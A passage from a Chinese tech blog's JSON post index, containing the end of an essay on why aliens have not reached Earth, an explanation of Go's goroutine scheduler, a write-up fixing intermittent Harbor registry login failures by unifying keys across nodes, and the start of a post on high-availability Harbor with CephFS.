初始阶段，两个文明独立进化，就像人类文明一样，可能从低级生命进化为高级生命，学会工具使用，智能提升，生产力提升，形成持续的、稳定的繁衍能力，技术水平也在不断提升。但这个阶段尚未具备宇宙观察能力，更没有通过观察确认文明存在的能力，尚未发展出航天技术。\nb) 文明拥有初步观察能力和到达能力 随着两个文明的进化，各自发展出了对宇宙的观察能力和一定范围的到达能力。但这些能力有限，还不足以发现和确认对方文明的存在。\nc) 一个文明具备了观察并确定对方文明存在的能力 一个文明A出现了技术爆炸，观察能力大幅提升，观察到并确认了B文明的存在。但此时A文明尚不具备到达B文明的能力。\nd) 一个文明具备了到达对方文明的能力 A文明的技术爆炸继续，并发展出了到达B文明的能力。\n接下来A文明会怎么做？这是需要重点探讨的。在大刘的“黑暗森林”下，三体星人出动了“质子”抑制地球科技发展、派出三体舰队意图灭绝人类；”歌者”更为直接地祭出了“二向箔”降维攻击武器毁灭了太阳系。但如果是在“光明森林”中呢？我想大刘的“猜疑链”依旧有效。A文明无法判断B文明的善与恶。于是A可能做出以下几个动作：\n远距离观察：虽然具备了到达能力，但A文明可能继续原则远距离观察B文明的先进程度，如果这是可以的话；\n近距离观察：如果A文明能基本确认B文明的技术水平远低于自己，A文明可能会派出“观察者”，到达B文明，并以一种“隐身”的方式近距离观察B文明，就像《星际迷航》中企业号所做的那样。\n接触：在确认了B文明足够善意的基础上，无论出于什么目的，A文明可能会主动接触B文明了。但必须肯定的是这种接触是十分危险的，即便这种接触的初衷是善意的。回顾人类内部的不同局部文明间的接触史，我们可以推测出这种接触很大可能是需要付出血的代价的 ，战争也许不可避免(我们只能以人类文明内部的接触作为参照物，否则还能怎么样呢)。\n融合：融合可能会发生，虽然可能是以一方文明付出惨重损失为代价的。但文明的存续的目的得以实现。\n4、结论 地球文明目前尚处于具有一定观察能力和一定到达能力的阶段，非常初级。如果按照上面的文明发展阶段，应该处于b)阶段早期。地球文明的观察能力有限，关键是无法确认文明存在，到达能力也更是很有限的。好了，现在我们来分析文章开头提出的问题：外星文明为何没有降落到地球？有了我们之前的铺垫，针对这个问题，我们可以有几种可能的答案：\n不存在另外一个文明。从个人情感出发希望不存在这种情况，否则我们真成为宇宙中的孤独文明了； 其他文明都和我们文明的发展阶段差不多，无法观察到我们，更无法到达我们； 某个或某些高等文明在远距离观察我们或近距离以“隐身”的方式观察我们，尚在评估是否与我们接触。 从我们还存在这一事实，似乎证明宇宙并不“黑暗”，否则地球这么折腾（向深空发射飞行器等），也许早就被灭了。但如果宇宙法则真的是遵循大刘的“黑暗森林”法则，那么我们应该庆幸我们还没有被高等文明所发现。人类应该做的，唯有韬光养晦，努力发展科技，争取早日进入“技术爆炸”阶段，这才是存续地球文明的基础。\n","permalink":"https://tonybai.com/2017/06/25/why-aliens-have-not-arrived-at-earth/","summary":"\u003cp\u003e这周五午间休息时无意中看了\u003ca href=\"http://36kr.com/\"\u003e36kr\u003c/a\u003e发布的一篇文章：《\u003ca href=\"http://36kr.com/p/5080783.html\"\u003e开电脑与外星人尬聊？搜寻地外文明项目SETI@home的极客简史\u003c/a\u003e》，这是一篇译文，原文发表在《\u003ca href=\"https://www.theatlantic.com/\"\u003e大西洋月刊\u003c/a\u003e》，题为“\u003ca href=\"https://www.theatlantic.com/science/archive/2017/05/aliens-on-your-packard-bell/527445/\"\u003eA Brief History of SETI@Home\u003c/a\u003e”，文章科普了\u003ca href=\"http://setiathome.ssl.berkeley.edu/\"\u003eSETI@HOME\u003c/a\u003e这一项目的简史。\u003c/p\u003e\n\u003cp\u003eSETI是“\u003cstrong\u003eSearch for Extraterrestrial Intelligence\u003c/strong\u003e”，字面意思就是搜寻外星的智慧生命体。这个项目从技术本质上看就是一个超级庞大的分布式系统，它利用加入“志愿计算”计划的志愿者的PC上的空闲计算能力来分析射电望远镜观测到的信号，旨在从这些信号中过滤并识别出可能的外星生命发出的信号。SETI@home项目于1999年就启动了，不过令人感到尴尬的是至今这个项目仍然是一无所获：外星人的毛儿都没找到。虽然结果不如预期，但这不能否定这一项目的伟大。国内的地外文明爱好者、ET/alien爱好者们，如果你想贡献出自己的一份薄力，就去\u003ca href=\"http://setiathome.ssl.berkeley.edu/\"\u003eSETI@Home项目官网\u003c/a\u003e下载一个软件，加入到这个庞大的计算网络中吧。\u003c/p\u003e","title":"外星人为什么还没降落到地球上？"},{"content":"Go语言在2016年再次拿下TIBOE年度编程语言称号，这充分证明了Go语言这几年在全世界范围内的受欢迎程度。如果要对世界范围内的gopher发起一次“你究竟喜欢Go的哪一点”的调查，我相信很多Gopher会提到：goroutine。\nGoroutine是Go语言原生支持并发的具体实现，你的Go代码都无一例外地跑在goroutine中。你可以启动许多甚至成千上万的goroutine，Go的runtime负责对goroutine进行管理。所谓的管理就是**“调度”，粗糙地说调度**就是决定何时哪个goroutine将获得资源开始执行、哪个goroutine应该停止执行让出资源、哪个goroutine应该被唤醒恢复执行等。goroutine的调度是Go team care的事情，大多数gopher们无需关心。但个人觉得适当了解一下Goroutine的调度模型和原理，对于编写出更好的go代码是大有裨益的。因此，在这篇文章中，我将和大家一起来探究一下goroutine调度器的演化以及模型/原理。\n注意：这里要写的并不是对goroutine调度器的源码分析，国内的雨痕老师在其《Go语言学习笔记》一书的下卷“源码剖析”中已经对Go 1.5.1的scheduler实现做了细致且高质量的源码分析了，对Go scheduler的实现特别感兴趣的gopher可以移步到这本书中去^0^。这里关于goroutine scheduler的介绍主要是参考了Go team有关scheduler的各种design doc、国外Gopher发表的有关scheduler的资料，当然雨痕老师的书也给我了很多的启示。\n一、Goroutine调度器 提到“调度”，我们首先想到的就是操作系统对进程、线程的调度。操作系统调度器会将系统中的多个线程按照一定算法调度到物理CPU上去运行。传统的编程语言比如C、C++等的并发实现实际上就是基于操作系统调度的，即程序负责创建线程(一般通过pthread等lib调用实现)，操作系统负责调度。这种传统支持并发的方式有诸多不足：\n复杂\n创建容易，退出难：做过C/C++ Programming的童鞋都知道，创建一个thread(比如利用pthread)虽然参数也不少，但好歹可以接受。但一旦涉及到thread的退出，就要考虑thread是detached，还是需要parent thread去join？是否需要在thread中设置cancel point，以保证join时能顺利退出？ 并发单元间通信困难，易错：多个thread之间的通信虽然有多种机制可选，但用起来是相当复杂；并且一旦涉及到shared memory，就会用到各种lock，死锁便成为家常便饭； thread stack size的设定：是使用默认的，还是设置的大一些，或者小一些呢？ 难于scaling\n一个thread的代价已经比进程小了很多了，但我们依然不能大量创建thread，因为除了每个thread占用的资源不小之外，操作系统调度切换thread的代价也不小； 对于很多网络服务程序，由于不能大量创建thread，就要在少量thread里做网络多路复用，即：使用epoll/kqueue/IoCompletionPort这套机制，即便有libevent/libev这样的第三方库帮忙，写起这样的程序也是很不易的，存在大量callback，给程序员带来不小的心智负担。 为此，Go采用了用户层轻量级thread或者说是类coroutine的概念来解决这些问题，Go将之称为”goroutine“。goroutine占用的资源非常小(Go 1.4将每个goroutine stack的size默认设置为2k)，goroutine调度的切换也不用陷入(trap)操作系统内核层完成，代价很低。因此，一个Go程序中可以创建成千上万个并发的goroutine。所有的Go代码都在goroutine中执行，哪怕是go的runtime也不例外。将这些goroutines按照一定算法放到“CPU”上执行的程序就称为goroutine调度器或goroutine scheduler。\n不过，一个Go程序对于操作系统来说只是一个用户层程序，对于操作系统而言，它的眼中只有thread，它甚至不知道有什么叫Goroutine的东西的存在。goroutine的调度全要靠Go自己完成，实现Go程序内goroutine之间“公平”的竞争“CPU”资源，这个任务就落到了Go runtime头上，要知道在一个Go程序中，除了用户代码，剩下的就是go runtime了。\n于是Goroutine的调度问题就演变为go runtime如何将程序内的众多goroutine按照一定算法调度到“CPU”资源上运行了。在操作系统层面，Thread竞争的“CPU”资源是真实的物理CPU，但在Go程序层面，各个Goroutine要竞争的”CPU”资源是什么呢？Go程序是用户层程序，它本身整体是运行在一个或多个操作系统线程上的，因此goroutine们要竞争的所谓“CPU”资源就是操作系统线程。这样Go scheduler的任务就明确了：将goroutines按照一定算法放到不同的操作系统线程中去执行。这种在语言层面自带调度器的，我们称之为原生支持并发。\n二、Go调度器模型与演化过程 1、G-M模型 2012年3月28日，Go 1.0正式发布。在这个版本中，Go team实现了一个简单的调度器。在这个调度器中，每个goroutine对应于runtime中的一个抽象结构：G，而os thread作为“物理CPU”的存在而被抽象为一个结构：M(machine)。这个结构虽然简单，但是却存在着许多问题。前Intel blackbelt工程师、现Google工程师Dmitry Vyukov在其《Scalable Go Scheduler Design》一文中指出了G-M模型的一个重要不足： 限制了Go并发程序的伸缩性，尤其是对那些有高吞吐或并行计算需求的服务程序。主要体现在如下几个方面：\n单一全局互斥锁(Sched.Lock)和集中状态存储的存在导致所有goroutine相关操作，比如：创建、重新调度等都要上锁； goroutine传递问题：M经常在M之间传递”可运行”的goroutine，这导致调度延迟增大以及额外的性能损耗； 每个M做内存缓存，导致内存占用过高，数据局部性较差； 由于syscall调用而形成的剧烈的worker thread阻塞和解除阻塞，导致额外的性能损耗。 2、G-P-M模型 于是Dmitry Vyukov亲自操刀改进Go scheduler，在Go 1.1中实现了G-P-M调度模型和work stealing算法，这个模型一直沿用至今：\n有名人曾说过：“计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决”，我觉得Dmitry Vyukov的G-P-M模型恰是这一理论的践行者。Dmitry Vyukov通过向G-M模型中增加了一个P，实现了Go scheduler的scalable。\nP是一个“逻辑Proccessor”，每个G要想真正运行起来，首先需要被分配一个P（进入到P的local runq中，这里暂忽略global runq那个环节）。对于G来说，P就是运行它的“CPU”，可以说：G的眼里只有P。但从Go scheduler视角来看，真正的“CPU”是M，只有将P和M绑定才能让P的runq中G得以真实运行起来。这样的P与M的关系，就好比Linux操作系统调度层面用户线程(user thread)与核心线程(kernel thread)的对应关系那样(N x M)。\n3、抢占式调度 G-P-M模型的实现算是Go scheduler的一大进步，但Scheduler仍然有一个头疼的问题，那就是不支持抢占式调度，导致一旦某个G中出现死循环或永久循环的代码逻辑，那么G将永久占用分配给它的P和M，位于同一个P中的其他G将得不到调度，出现“饿死”的情况。更为严重的是，当只有一个P时(GOMAXPROCS=1)时，整个Go程序中的其他G都将“饿死”。于是Dmitry Vyukov又提出了《Go Preemptive Scheduler Design》并在Go 1.2中实现了“抢占式”调度。\n这个抢占式调度的原理则是在每个函数或方法的入口，加上一段额外的代码，让runtime有机会检查是否需要执行抢占调度。这种解决方案只能说局部解决了“饿死”问题，对于没有函数调用，纯算法循环计算的G，scheduler依然无法抢占。\n4、NUMA调度模型 从Go 1.2以后，Go似乎将重点放在了对GC的低延迟的优化上了，对scheduler的优化和改进似乎不那么热心了，只是伴随着GC的改进而作了些小的改动。Dmitry Vyukov在2014年9月提出了一个新的proposal design doc：《NUMA‐aware scheduler for Go》，作为未来Go scheduler演进方向的一个提议，不过至今似乎这个proposal也没有列入开发计划。\n5、其他优化 Go runtime已经实现了netpoller，这使得即便G发起网络I/O操作也不会导致M被阻塞（仅阻塞G），从而不会导致大量M被创建出来。但是对于regular file的I/O操作一旦阻塞，那么M将进入sleep状态，等待I/O返回后被唤醒；这种情况下P将与sleep的M分离，再选择一个idle的M。如果此时没有idle的M，则会新创建一个M，这就是为何大量I/O操作导致大量Thread被创建的原因。\nIan Lance Taylor在Go 1.9 dev周期中增加了一个Poller for os package的功能，这个功能可以像netpoller那样，在G操作支持pollable的fd时，仅阻塞G，而不阻塞M。不过该功能依然不能对regular file有效，regular file不是pollable的。不过，对于scheduler而言，这也算是一个进步了。\n三、Go调度器原理的进一步理解 1、G、P、M 关于G、P、M的定义，大家可以参见$GOROOT/src/runtime/runtime2.go这个源文件。这三个struct都是大块儿头，每个struct定义都包含十几个甚至二、三十个字段。像scheduler这样的核心代码向来很复杂，考虑的因素也非常多，代码“耦合”成一坨。不过从复杂的代码中，我们依然可以看出来G、P、M的各自大致用途（当然雨痕老师的源码分析功不可没），这里简要说明一下：\nG: 表示goroutine，存储了goroutine的执行stack信息、goroutine状态以及goroutine的任务函数等；另外G对象是可以重用的。\nP: 表示逻辑processor，P的数量决定了系统内最大可并行的G的数量（前提：系统的物理cpu核数\u0026gt;=P的数量）；P的最大作用还是其拥有的各种G对象队列、链表、一些cache和状态。\nM: M代表着真正的执行计算资源。在绑定有效的p后，进入schedule循环；而schedule循环的机制大致是从各种队列、p的本地队列中获取G，切换到G的执行栈上并执行G的函数，调用goexit做清理工作并回到m，如此反复。M并不保留G状态，这是G可以跨M调度的基础。\n下面是G、P、M定义的代码片段：\n//src/runtime/runtime2.go type g struct { stack stack // offset known to runtime/cgo sched gobuf goid int64 gopc uintptr // pc of go statement that created this goroutine startpc uintptr // pc of goroutine function \u0026hellip; \u0026hellip; }\ntype p struct { lock mutex\nid int32 status uint32 // one of pidle/prunning/... mcache *mcache racectx uintptr // Queue of runnable goroutines. Accessed without lock. runqhead uint32 runqtail uint32 runq [256]guintptr runnext guintptr // Available G's (status == Gdead) gfree *g gfreecnt int32 \u0026hellip; \u0026hellip; }\ntype m struct { g0 *g // goroutine with scheduling stack mstartfn func() curg *g // current running goroutine \u0026hellip;. .. }\n2、G被抢占调度 和操作系统按时间片调度线程不同，Go并没有时间片的概念。如果某个G没有进行system call调用、没有进行I/O操作、没有阻塞在一个channel操作上，那么m是如何让G停下来并调度下一个runnable G的呢？答案是：G是被抢占调度的。\n前面说过，除非极端的无限循环或死循环，否则只要G调用函数，Go runtime就有抢占G的机会。Go程序启动时，runtime会去启动一个名为sysmon的m(一般称为监控线程)，该m无需绑定p即可运行，该m在整个Go程序的运行过程中至关重要：\n//$GOROOT/src/runtime/proc.go // The main goroutine. func main() { ... ... systemstack(func() { newm(sysmon, nil) }) .... ... } // Always runs without a P, so write barriers are not allowed. // //go:nowritebarrierrec func sysmon() { // If a heap span goes unused for 5 minutes after a garbage collection, // we hand it back to the operating system. scavengelimit := int64(5 * 60 * 1e9) ... ... if .... { ... ... // retake P's blocked in syscalls // and preempt long running G's if retake(now) != 0 { idle = 0 } else { idle++ } ... ... } } sysmon每20us~10ms启动一次，按照《Go语言学习笔记》中的总结，sysmon主要完成如下工作：\n释放闲置超过5分钟的span物理内存； 如果超过2分钟没有垃圾回收，强制执行； 将长时间未处理的netpoll结果添加到任务队列； 向长时间运行的G任务发出抢占调度； 收回因syscall长时间阻塞的P； 我们看到sysmon将“向长时间运行的G任务发出抢占调度”，这个事情由retake实施：\n// forcePreemptNS is the time slice given to a G before it is // preempted. const forcePreemptNS = 10 * 1000 * 1000 // 10ms func retake(now int64) uint32 { ... ... // Preempt G if it's running for too long. t := int64(_p_.schedtick) if int64(pd.schedtick) != t { pd.schedtick = uint32(t) pd.schedwhen = now continue } if pd.schedwhen+forcePreemptNS \u0026gt; now { continue } preemptone(_p_) ... ... } 可以看出，如果一个G任务运行10ms，sysmon就会认为其运行时间太久而发出抢占式调度的请求。一旦G的抢占标志位被设为true，那么待这个G下一次调用函数或方法时，runtime便可以将G抢占，并移出运行状态，放入P的local runq中，等待下一次被调度。\n3、channel阻塞或network I/O情况下的调度 如果G被阻塞在某个channel操作或network I/O操作上时，G会被放置到某个wait队列中，而M会尝试运行下一个runnable的G；如果此时没有runnable的G供m运行，那么m将解绑P，并进入sleep状态。当I/O available或channel操作完成，在wait队列中的G会被唤醒，标记为runnable，放入到某P的队列中，绑定一个M继续执行。\n4、system call阻塞情况下的调度 如果G被阻塞在某个system call操作上，那么不光G会阻塞，执行该G的M也会解绑P(实质是被sysmon抢走了)，与G一起进入sleep状态。如果此时有idle的M，则P与其绑定继续执行其他G；如果没有idle M，但仍然有其他G要去执行，那么就会创建一个新M。\n当阻塞在syscall上的G完成syscall调用后，G会去尝试获取一个可用的P，如果没有可用的P，那么G会被标记为runnable，之前的那个sleep的M将再次进入sleep。\n四、调度器状态的查看方法 Go提供了调度器当前状态的查看方法：使用Go运行时环境变量GODEBUG。\n$GODEBUG=schedtrace=1000 godoc -http=:6060 SCHED 0ms: gomaxprocs=4 idleprocs=3 threads=3 spinningthreads=0 idlethreads=0 runqueue=0 [0 0 0 0] SCHED 1001ms: gomaxprocs=4 idleprocs=0 threads=9 spinningthreads=0 idlethreads=3 runqueue=2 [8 14 5 2] SCHED 2006ms: gomaxprocs=4 idleprocs=0 threads=25 spinningthreads=0 idlethreads=19 runqueue=12 [0 0 4 0] SCHED 3006ms: gomaxprocs=4 idleprocs=0 threads=26 spinningthreads=0 idlethreads=8 runqueue=2 [0 1 1 0] SCHED 4010ms: gomaxprocs=4 idleprocs=0 threads=26 spinningthreads=0 idlethreads=20 runqueue=12 [6 3 1 0] SCHED 5010ms: gomaxprocs=4 idleprocs=0 threads=26 spinningthreads=1 idlethreads=20 runqueue=17 [0 0 0 0] SCHED 6016ms: gomaxprocs=4 idleprocs=0 threads=26 spinningthreads=0 idlethreads=20 runqueue=1 [3 4 0 10] ... ... GODEBUG这个Go运行时环境变量很是强大，通过给其传入不同的key1=value1,key2=value2… 组合，Go的runtime会输出不同的调试信息，比如在这里我们给GODEBUG传入了”schedtrace=1000″，其含义就是每1000ms，打印输出一次goroutine scheduler的状态，每次一行。每一行各字段含义如下：\n以上面例子中最后一行为例： SCHED 6016ms: gomaxprocs=4 idleprocs=0 threads=26 spinningthreads=0 idlethreads=20 runqueue=1 [3 4 0 10] SCHED：调试信息输出标志字符串，代表本行是goroutine scheduler的输出； 6016ms：即从程序启动到输出这行日志的时间； gomaxprocs: P的数量； idleprocs: 处于idle状态的P的数量；通过gomaxprocs和idleprocs的差值，我们就可知道执行go代码的P的数量； threads: os threads的数量，包含scheduler使用的m数量，加上runtime自用的类似sysmon这样的thread的数量； spinningthreads: 处于自旋状态的os thread数量； idlethread: 处于idle状态的os thread的数量； runqueue=1： go scheduler全局队列中G的数量； [3 4 0 10]: 分别为4个P的local queue中的G的数量。 我们还可以输出每个goroutine、m和p的详细调度信息，但对于Go user来说，绝大多数时间这是不必要的：\n$ GODEBUG=schedtrace=1000,scheddetail=1 godoc -http=:6060 SCHED 0ms: gomaxprocs=4 idleprocs=3 threads=3 spinningthreads=0 idlethreads=0 runqueue=0 gcwaiting=0 nmidlelocked=0 stopwait=0 sysmonwait=0 P0: status=1 schedtick=0 syscalltick=0 m=0 runqsize=0 gfreecnt=0 P1: status=0 schedtick=0 syscalltick=0 m=-1 runqsize=0 gfreecnt=0 P2: status=0 schedtick=0 syscalltick=0 m=-1 runqsize=0 gfreecnt=0 P3: status=0 schedtick=0 syscalltick=0 m=-1 runqsize=0 gfreecnt=0 M2: p=-1 curg=-1 mallocing=0 throwing=0 preemptoff= locks=1 dying=0 helpgc=0 spinning=false blocked=false lockedg=-1 M1: p=-1 curg=17 mallocing=0 throwing=0 preemptoff= locks=0 dying=0 helpgc=0 spinning=false blocked=false lockedg=17 M0: p=0 curg=1 mallocing=0 throwing=0 preemptoff= locks=1 dying=0 helpgc=0 spinning=false blocked=false lockedg=1 G1: status=8() m=0 lockedm=0 G17: status=3() m=1 lockedm=1 SCHED 1002ms: gomaxprocs=4 idleprocs=0 threads=13 spinningthreads=0 idlethreads=7 runqueue=6 gcwaiting=0 nmidlelocked=0 stopwait=0 sysmonwait=0 P0: status=2 schedtick=2293 syscalltick=18928 m=-1 runqsize=12 gfreecnt=2 P1: status=1 schedtick=2356 syscalltick=19060 m=11 runqsize=11 gfreecnt=0 P2: status=2 schedtick=2482 syscalltick=18316 m=-1 runqsize=37 gfreecnt=1 P3: status=2 schedtick=2816 syscalltick=18907 m=-1 runqsize=2 gfreecnt=4 M12: p=-1 curg=-1 mallocing=0 throwing=0 preemptoff= locks=0 dying=0 helpgc=0 spinning=false blocked=true lockedg=-1 M11: p=1 curg=6160 mallocing=0 throwing=0 preemptoff= locks=2 dying=0 helpgc=0 spinning=false blocked=false lockedg=-1 M10: p=-1 curg=-1 mallocing=0 throwing=0 preemptoff= locks=0 dying=0 helpgc=0 spinning=false blocked=true lockedg=-1 ... ... SCHED 2002ms: gomaxprocs=4 idleprocs=0 threads=23 spinningthreads=0 idlethreads=5 runqueue=4 gcwaiting=0 nmidlelocked=0 stopwait=0 sysmonwait=0 P0: status=0 schedtick=2972 syscalltick=29458 m=-1 runqsize=0 gfreecnt=6 P1: status=2 schedtick=2964 syscalltick=33464 m=-1 runqsize=0 gfreecnt=39 P2: status=1 schedtick=3415 syscalltick=33283 m=18 runqsize=0 gfreecnt=12 P3: status=2 schedtick=3736 syscalltick=33701 m=-1 runqsize=1 gfreecnt=6 M22: p=-1 curg=-1 mallocing=0 throwing=0 preemptoff= locks=0 dying=0 helpgc=0 spinning=false blocked=true lockedg=-1 M21: p=-1 curg=-1 mallocing=0 throwing=0 preemptoff= locks=0 dying=0 helpgc=0 spinning=false blocked=true lockedg=-1 ... ... 关于go scheduler调试信息输出的详细信息，可以参考Dmitry Vyukov的大作：《Debugging performance issues in Go programs》。这也应该是每个gopher必读的经典文章。当然更详尽的代码可参考$GOROOT/src/runtime/proc.go中的schedtrace函数。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/06/23/an-intro-about-goroutine-scheduler/","summary":"\u003cp\u003e\u003ca href=\"https://golang.org/\"\u003eGo语言\u003c/a\u003e在2016年再次拿下\u003ca href=\"https://www.tiobe.com/\"\u003eTIBOE\u003c/a\u003e年度编程语言称号，这充分证明了Go语言这几年在全世界范围内的受欢迎程度。如果要对世界范围内的gopher发起一次“你究竟喜欢Go的哪一点”的调查，我相信很多Gopher会提到：\u003cstrong\u003egoroutine\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://golang.org/ref/spec#Go_statements\"\u003eGoroutine\u003c/a\u003e是\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e原生支持并发的具体实现，你的Go代码都无一例外地跑在goroutine中。你可以启动许多甚至成千上万的goroutine，Go的runtime负责对goroutine进行管理。所谓的管理就是**“调度”\u003cstrong\u003e，粗糙地说\u003c/strong\u003e调度**就是决定何时哪个goroutine将获得资源开始执行、哪个goroutine应该停止执行让出资源、哪个goroutine应该被唤醒恢复执行等。goroutine的调度是Go team care的事情，大多数gopher们无需关心。但个人觉得适当了解一下Goroutine的调度模型和原理，对于编写出更好的go代码是大有裨益的。因此，在这篇文章中，我将和大家一起来探究一下goroutine调度器的演化以及模型/原理。\u003c/p\u003e","title":"也谈goroutine调度器"},{"content":"今天在测试之前搭建好的高可用Harbor时，发现了一个问题：使用docker login harbor时，有时成功，有时失败：\n# docker login -u user -p passwd http://hub.my-domain.com:36666 Login Succeeded # docker login -u user -p passwd http://hub.my-domain.com:36666 Error response from daemon: login attempt to http://hub.my-domain.com:36666/v2/ failed with status: 401 Unauthorized 我们在DNS中将hub.my-domain.com这个域名解析成两个IP，分别是两个Harbor节点的public IP，这可能是问题的诱发原因，但我还不知道问题根源在哪里。以下是问题的查找过程记录。\n1、保证每个Harbor node都是可以login ok的 我在client端通过修改/etc/hosts将hub.my-domain.com分别解析成上述说到的两个node IP并测试。测试结果表明：无论单独解析成哪个IP，docker login http://hub.my-domain.com:36666都会100%的成功。\n2、查看两个Harbor node上的registry log，弄清问题现象 将/etc/hosts中hub.my-domain.com的硬解析删除，恢复DNS解析。打开两个terminal tab分别监视连个Harbor node上的registry的日志。经过几次测试，发现一个现象：当docker login成功时，都是一个node上的日志出现更新；而当docker login fail时，我们会看到两个Node上的registry日志都有变化，似乎请求发给了两个node。\nnode1: Jun 15 14:40:01 172.19.0.1 registry[30242]: time=\u0026quot;2017-06-15T06:40:01.245822446Z\u0026quot; level=debug msg=\u0026quot;authorizing request\u0026quot; go.version=go1.7.3 http.request.host=\u0026quot;hub.my-domain.com:36666\u0026quot; http.request.id=62add46e-e176-4eb8-b36a-84a9fbe7ac9c http.request.method=GET http.request.remoteaddr=xx.xx.xx.xx http.request.uri=\u0026quot;/v2/\u0026quot; http.request.useragent=\u0026quot;docker/1.12.5 go/go1.6.4 git-commit/7392c3b kernel/4.4.0-58-generic os/linux arch/amd64 UpstreamClient(Docker-Client/1.12.5 \\\\(linux\\\\))\u0026quot; instance.id=43380207-7b61-4d45-b06a-a017c9a075af service=registry version=\u0026quot;v2.4.1+unknown\u0026quot; Jun 15 14:40:01 172.19.0.1 registry[30242]: time=\u0026quot;2017-06-15T06:40:01.246002519Z\u0026quot; level=error msg=\u0026quot;token signed by untrusted key with ID: \\\u0026quot;BASH:RNPJ:PEBU:7THG:2NAR:OSFV:CG6U:ANV4:CCNB:ODZR:4BL6:TMD6\\\u0026quot;\u0026quot; node2: Jun 15 14:40:01 172.18.0.1 registry[28674]: time=\u0026quot;2017-06-15T06:40:01.213604228Z\u0026quot; level=debug msg=\u0026quot;authorizing request\u0026quot; go.version=go1.7.3 http.request.host=\u0026quot;hub.my-domain.com:36666\u0026quot; http.request.id=bb6eeb8f-99f1-47a0-8cae-dae9b402b758 http.request.method=GET http.request.remoteaddr=xx.xx.xx.xx http.request.uri=\u0026quot;/v2/\u0026quot; http.request.useragent=\u0026quot;docker/1.12.5 go/go1.6.4 git-commit/7392c3b kernel/4.4.0-58-generic os/linux arch/amd64 UpstreamClient(Docker-Client/1.12.5 \\\\(linux\\\\))\u0026quot; instance.id=2a364e0c-425f-47a9-b144-887d439243ba service=registry version=\u0026quot;v2.4.1+unknown\u0026quot; Jun 15 14:40:01 172.18.0.1 registry[28674]: time=\u0026quot;2017-06-15T06:40:01.21374491Z\u0026quot; level=warning msg=\u0026quot;error authorizing context: authorization token required\u0026quot; go.version=go1.7.3 http.request.host=\u0026quot;hub.my-domain.com:36666\u0026quot; http.request.id=bb6eeb8f-99f1-47a0-8cae-dae9b402b758 http.request.method=GET http.request.remoteaddr=xx.xx.xx.xx http.request.uri=\u0026quot;/v2/\u0026quot; http.request.useragent=\u0026quot;docker/1.12.5 go/go1.6.4 git-commit/7392c3b kernel/4.4.0-58-generic os/linux arch/amd64 UpstreamClient(Docker-Client/1.12.5 \\\\(linux\\\\))\u0026quot; instance.id=2a364e0c-425f-47a9-b144-887d439243ba service=registry version=\u0026quot;v2.4.1+unknown\u0026quot; Jun 15 14:40:01 172.18.0.1 registry[28674]: 172.18.0.3 - - [15/Jun/2017:06:40:01 +0000] \u0026quot;GET /v2/ HTTP/1.1\u0026quot; 401 87 \u0026quot;\u0026quot; \u0026quot;docker/1.12.5 go/go1.6.4 git-commit/7392c3b kernel/4.4.0-58-generic os/linux arch/amd64 UpstreamClient(Docker-Client/1.12.5 \\\\(linux\\\\))\u0026quot; 3、探寻Harbor原理，弄清问题根源 打开harbor在github.com的wiki页，在”Architecture Overview of Harbor“中我找到了docker login的流程：\n从图片上，我一眼就看到了从docker client发出的*”两个请求: a和c流程”，看来docker client的确不止一次向Harbor发起了请求。wiki上对docker login流程给了简明扼要的解释。大致的流程是:\ndocker向registry发起请求，由于registry是基于token auth的，因此registry回复应答，告诉docker client去哪个URL去获取token； docker client根据应答中的URL向token service(ui)发起请求，通过user和passwd获取token；如果user和passwd在db中通过了验证，那么token service将用自己的私钥(harbor/common/config/ui/private_key.pem)生成一个token，返回给docker client端； docker client获得token后再向registry发起login请求，registry用自己的证书(harbor/common/config/registry/root.crt)对token进行校验。通过则返回成功，否则返回失败。 从这个原理，我们可以知道问题就出在docker client多次向Harbor发起请求这个环节：对于每次请求，DNS会将域名可能解析为不同IP，因此不同请求可能落到不同的node上。这样当docker client拿着node1上token service分配的token去到node2的registry上鉴权时，就会出现鉴权失败的情况。\n4、统一私钥和证书，问题得以解决 token service的私钥(harbor/common/config/ui/private_key.pem)和registry的证书(harbor/common/config/registry/root.crt)都是在prepare时生成的，两个节点都独立prepare过，因此两个node上的private_key.pem和root.crt是不同的，这就是问题根源。\n解决这个问题很简单，就是统一私钥和证书。比如：将node1上的private_key.pem和root.crt复制到node2上，并重新创建node2上的container：\n// node2上 将node1上的harbor/common/config/ui/private_key.pem复制到node2上的harbor/common/config/ui/private_key.pem； 将node1上的harbor/common/config/registry/root.crt复制到harbor/common/config/registry/root.crt； $ docker-compose down -v $ docker-compose up -d 更换了private_key.pem和root.crt的node2上的Harbor启动后，再进行login测试，就会100%成功了！\n# docker login -u admin -p passwd http://hub.my-domain.com:36666 Login Succeeded 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/06/15/fix-auth-fail-when-login-harbor-registry/","summary":"\u003cp\u003e今天在测试之前搭建好的\u003ca href=\"http://tonybai.com/2017/06/09/setup-a-high-availability-private-registry-based-on-harbor-and-cephfs/\"\u003e高可用Harbor\u003c/a\u003e时，发现了一个问题：使用docker login harbor时，有时成功，有时失败：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e# docker login -u user -p passwd http://hub.my-domain.com:36666\nLogin Succeeded\n\n# docker login -u user -p passwd http://hub.my-domain.com:36666\nError response from daemon: login attempt to http://hub.my-domain.com:36666/v2/ failed with status: 401 Unauthorized\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们在DNS中将hub.my-domain.com这个域名解析成两个IP，分别是两个Harbor节点的public IP，这可能是问题的诱发原因，但我还不知道问题根源在哪里。以下是问题的查找过程记录。\u003c/p\u003e","title":"解决登录Harbor Registry时鉴权失败的问题"},{"content":"我们有给客户搭建私有容器仓库的需求。开源的私有容器registry可供选择的不多，除了docker官方的distribution之外，比较知名的是VMware China出品的Harbor，我们选择了harbor。\nharbor在docker distribution的基础上增加了一些安全、访问控制、管理的功能以满足企业对于镜像仓库的需求。harbor以docker-compose的规范形式组织各个组件，并通过docker-compose工具进行启停。\n不过，harbor默认的安装配置是针对single node的，要想做得可靠性高一些，我们需要自己探索一些可行的方案。本文将结合harbor和CephFS搭建一个满足企业高可用性需求的private registry。\n一、实验环境 